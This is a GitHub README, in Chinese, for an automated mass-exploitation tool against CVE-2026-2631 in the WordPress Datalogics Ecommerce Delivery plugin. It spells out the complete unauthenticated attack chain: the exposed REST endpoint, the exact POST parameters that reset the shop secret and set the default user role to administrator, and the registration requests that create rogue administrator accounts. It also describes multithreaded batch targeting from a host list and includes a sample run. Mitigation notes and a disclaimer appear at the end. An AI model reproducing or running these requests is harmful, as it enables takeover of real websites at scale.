Nxploited/CVE-2026-2631
GitHub: Nxploited/CVE-2026-2631
针对 WordPress Datalogics Ecommerce Delivery 插件未认证权限提升漏洞的自动化批量利用工具,可实现从密钥重置到管理员账户注册的完整攻击链。
Stars: 0 | Forks: 0
# CVE-2026-2631
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - 未认证权限提升
# 💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – 未认证权限提升
## 🧬 漏洞概述
- **插件:** Datalogics Ecommerce Delivery – Datalogics (WordPress)
- **受影响版本:** `< 2.6.60` (不含)
- **漏洞类型:** 未认证权限提升
- **CVE:** `CVE-2026-2631`
- **CVSS v3.1:** `9.8 (严重)`
`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
- **公开发布时间:** 2026年3月12日
- **最后更新时间:** 2026年3月19日
- **研究员:** **Khaled Alenazi (Nxploited)**
`Datalogics Ecommerce Delivery – Datalogics` 插件暴露了一个未经认证的端点:
```
/wp-json/gsf/v1/update-options
```
此脚本利用该端点进行以下操作:
1. 💣 利用易受攻击的 `resetStoreConfigrations` action 重置内部 `shop_secret` 密钥。
2. 🔓 开启用户注册功能:`users_can_register = 1`。
3. 👑 将新用户的默认角色设置为 `administrator`:`default_role = administrator`。
4. 🧑💻 通过 WordPress 注册表单自动注册一个新用户:
- `wp-login.php?action=register`
如果成功,任何通过注册表单创建的新用户都将是 **administrator(管理员)**。
## ⚙️ 功能特性
- ✅ 针对多个 WordPress 目标进行 **批量利用**(从文件读取)。
- ✅ **无需认证**(无需登录/Cookies)。
- ✅ 通过易受攻击的 REST 端点 **自动重置 shop_secret**。
- ✅ **自动更新 WordPress 选项**:
- `users_can_register = 1`
- `default_role = administrator`
- ✅ 使用自定义凭据 **自动注册账户**。
- ✅ 使用 `rich` 库输出 **富文本 TUI**(彩色且实时更新的表格)。
- ✅ **多线程** 且线程数可调。
- ✅ 将结果记录到 `Login_admin.txt`。
## 📦 环境要求
### 🐍 运行时
- Python **3.x** (推荐 3.8+)
### 📚 Python 包
安装所需的包:
```
pip install -r requirements.txt
```
示例 `requirements.txt`:
```
requests
rich
urllib3
```
或者手动安装:
```
pip install requests rich urllib3
```
## 🧪 脚本逻辑(高层流程)
对于每个目标:
1. **标准化 URL**
- 如果缺失则确保添加 `http://` 前缀。
- 去除末尾的斜杠。
2. **重置 `shop_secret`**
- 端点:
`/wp-json/gsf/v1/update-options`
- POST 数据:
- `action = resetStoreConfigrations`
- `shop_secret = `
- 查找响应文本:
- `app secret key has been updated successfully`
3. **更新 WordPress 选项**
- 同一端点,参数为:
- `action = createUpdateOption`
- 两次选项更新:
1. `option_key = users_can_register`, `option_value = 1`
2. `option_key = default_role`, `option_value = administrator`
- 成功标志:
- `wordpress option has been created or updated successfully`
4. **检查注册是否开启**
- URL:
`/wp-login.php?action=register`
- 检查 HTML 是否包含:
- `Users can register`, `Anyone can register`, `user_registration`, `registerform`
- 或明确检测到:
- `user registration is currently not allowed`
5. **尝试用户注册**
- 同一个注册 URL。
- 如果存在隐藏输入框则提取 `_wpnonce`。
- 发送注册 POST 请求:
- `user_login`, `user_email`
- 如果存在密码字段则发送 `user_pass`/`user_pass2`
- `_wpnonce`, `_wp_http_referer`, `redirect_to`, `wp-submit=Register`
- 通过以下内容检测成功:
- `registration complete`, `check your email`, `user registered`
- 如果用户名已存在:
- 标记为成功:`user_already_exists`
6. **日志记录**
- 每次成功的选项更新(无论注册是否成功)都会写入一行到:
- `Login_admin.txt`
- 格式:
| register_url: | shop_secret: |
```
#### 2. 更新选项
```
action=createUpdateOption
shop_secret=
option_key=users_can_register
option_value=1
```
```
action=createUpdateOption
shop_secret=
option_key=default_role
option_value=administrator
```
### 🧑💻 注册端点
```
GET/POST /wp-login.php?action=register
```
脚本:
- 如果存在 `_wpnonce` 则提取它。
- 使用提供的用户名、邮箱和密码(如果字段存在)发送注册数据。
## 🔧 脚本内部逻辑(关键函数)
- `normalize_site(raw: str) -> str`
标准化目标 URL。
- `send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)`
尝试 `resetStoreConfigrations` action。
- `send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)`
通过易受攻击的端点设置 WordPress 选项。
- `check_registration_open(site: str, timeout: int = 10) -> (bool, str)`
检查注册是否开启且表单可访问。
- `try_register_user(...) -> (bool, str)`
尝试注册提供的用户。
- `write_success_line(site: str, secret: str, detail: str)`
将成功详情记录到 `Login_admin.txt`。
- `worker(...)`
每线程工作函数,执行:
1. 重置 `shop_secret`
2. 设置选项
3. 检查注册
4. 尝试注册
5. 记录结果并将状态推送到队列
- `printer_loop(queue: Queue, total: int)`
从队列读取消息并更新 `rich` 实时表格 UI。
- `main()`
编排以下流程:
- 横幅
- 用户提示
- 目标加载
- 线程生成
- 等待线程结束并输出最终消息。
## 🧪 示例运行(交互式)
```
$ python3 CVE-2026-2631.py
[Banner / ASCII Art]
Targets file (one host/URL per line) [list.txt]:
> list.txt
Threads (1-50) [10]:
> 20
shop_secret [Nxploited_newSecret]:
> NxSecret2026!
Registration username [Nx_test1]:
> admin_nx
Registration email [nxploited1@gmail.com]:
> admin@poc.local
Registration password [Nx_adminSA]:
> SuperStrongP@ss!
[Live table starts showing each target’s status]
Processed 5/20 targets · Output: Login_admin.txt
Done. Successful sites (if any) saved to Login_admin.txt.
```
## 🛡️ 缓解措施与建议
- 🔁 立即 **更新插件** 至 **2.6.60 或更高版本**。
- 🧹 审查:
- WordPress 用户列表中是否存在未知的管理员。
- `wp_users` 中的最近注册记录。
- 🔑 重新生成插件使用的任何密钥或 secrets。
- 📜 检查访问日志中对以下内容的请求:
- `/wp-json/gsf/v1/update-options`
- `/wp-login.php?action=register`
- 🧱 考虑使用 WAF 规则阻止对敏感 REST 端点的未授权访问。
## ⚠️ 法律免责声明
- 您 **绝不能** 在 **未经所有者明确书面许可** 的情况下在任何系统、应用程序或网络上使用此工具。
- 未经授权的访问、利用或滥用漏洞是 **违法的**,可能会导致 **刑事指控**。
- 本脚本的作者 (**Khaled Alenazi – Nxploited**)、贡献者和分发者:
- ❌ **不对** 以下情况承担任何责任或义务:
- 此代码的滥用
- 直接或间接造成的损害
- 使用此工具导致的任何法律后果
- 使用此脚本即 **表示您同意**:
- 您对自己的行为负全责。
- 您将遵守所有适用的地方、国家和国际法律法规。
- 您将 **仅** 在受控环境中和/或 **获得适当授权** 的情况下使用此工具(渗透测试/红队、漏洞赏金、实验室等)。
如果您不同意这些条款,**请勿使用此脚本。**
## ❤️ 致谢
- **研究与利用:**
- **Khaled Alenazi (Nxploited)** – Nxploited ZeroDay Hub
- **CVE:** `CVE-2026-2631`
- **联系方式:** Telegram `@Kxploit`
保持安全,负责任地黑客。 🕶️💻
标签:CISA项目, CVE-2026-2631, CVSS 9.8, Datalogics Ecommerce Delivery, PoC, Python, RCE, Web安全, Web报告查看器, WordPress插件漏洞, WP-REST-API, 批量漏洞扫描, 文件完整性监控, 无后门, 暴力破解, 未授权权限提升, 漏洞利用脚本, 特权提升, 管理员创建, 编程工具, 自动化部署, 自动注册攻击, 蓝队分析, 认证绕过, 远程代码执行, 逆向工具